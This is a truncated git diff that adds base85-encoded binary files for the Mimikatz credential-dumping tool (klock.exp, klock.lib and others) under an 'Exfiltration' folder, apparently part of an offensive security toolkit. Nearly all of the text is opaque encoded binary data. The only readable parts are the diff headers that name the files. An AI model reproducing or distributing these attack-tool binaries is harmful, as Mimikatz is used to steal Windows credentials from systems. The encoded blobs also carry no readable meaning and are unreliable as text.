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 ZEO5#Krz~*F0;eo+$^xe>@NZk-zX6WhXNLd) literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.exp b/Exfiltration/mimikatz-1.0/Win32/klock.exp new file mode 100644 index 0000000000000000000000000000000000000000..947406f831ac1bc154d2c941308f9477f717f0c1 GIT binary patch literal 1013 zcmbtS%Wl&^6unM>@F&O?O_ ze}TlJ-_;*r&li+?XW}%<3W+P<<8zPfnfp4jD&YL=om^A^?twPTVWC%eCLsKQ9-{xI z0Br-ki;ojBe-br@q>+8I06wFyS{LrWq?qm~b^7Gm!b|Pn-WF7#3bBwu?1Vx93&vg= zF^E`k$nrq(tl%9e^-q7qR;vLQQ zHPRm~WYmQk^#N{bwug9EvqQvNn$h`x&?T1q0jxSwIC$>9;l+63y8}66YB**>yqafB z@r0#?C){2-l`-2s<_V9z;>=AJWV`LO+>bon-EmC^*gS(LuwSp?sZ^6O%3n?`IOc(p zx%^Vt&66$rsMmi7=kTHq!7TjG90d23#}#L}Nd(xO(UAisBjqLbYc5!BH|L#aTkcgB zr#zo{!X6frkW0JW!eUMjT%V_|;A!m88L$bRI&H_O9PA?$XmF#o2|qxcN?z!C)ElT# z!$*4N-9RRp!$Ud!1(%o9pw+deORA8c^}PhI9bjY>6=hQlfEJ-t%vZD!r80Z3LV&kR zrO|Jpwc*p6vIG8_vI}3=ls)*qRF-9m6I|)L;F& BymtTq literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.lib b/Exfiltration/mimikatz-1.0/Win32/klock.lib new file mode 100644 index 0000000000000000000000000000000000000000..40c5c8d35f59b102b5fba5d2bcb43bcaccbed841 GIT binary patch literal 2194 zcmcIlPj3=I6#p&%iynwI9yA(Eny42g>){b z=hq68_Ow(p*^KP%#{t{`0((H{7zm#Lv5ctEGk|O4T-0cj^rm5yH@CNHb))oV=XI^T zUEiu1y}oVsU>MciO6BS>J~-oIwElLtx?z;o>+9ri9SjX)Xbn1$t*~_3<5K&uH@1f` z{CzRnHoJ{Mrwv1O{IkrFH5^;^z@4e|g)!1SjG_e6UH~`_0ViP~69dl3cpd?oBnd!h z2q1ze!U!oDq#PGUOTuzZcK)0NQo;NS%C)FQJR)QmoK&mbeBW8w5i0PKIv-s{$|4f4QdX-mZmbXkMY&Dl8`Ymu50We* zeJcG{r5Q})UsPQ`wil5+r9(pkORQo^CG`l)2|iO^jSJ7Vk8W*R=Ey#@-;I-xYfqAu za&^NQz0}+!ohR}FbZMMkf?DDQ*;EV^P5WR-`?QZfyH&btXTR^RBIQ5Cb{;(MQP>$2Toldhnglb+zaC%7ipDHlb~1~3ABtKS z3$t8bogU*Z#n9+Aln=0akiAfe>)Y{(jG-s6TjC}aP3vv|a I6Y`|mS=wN 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 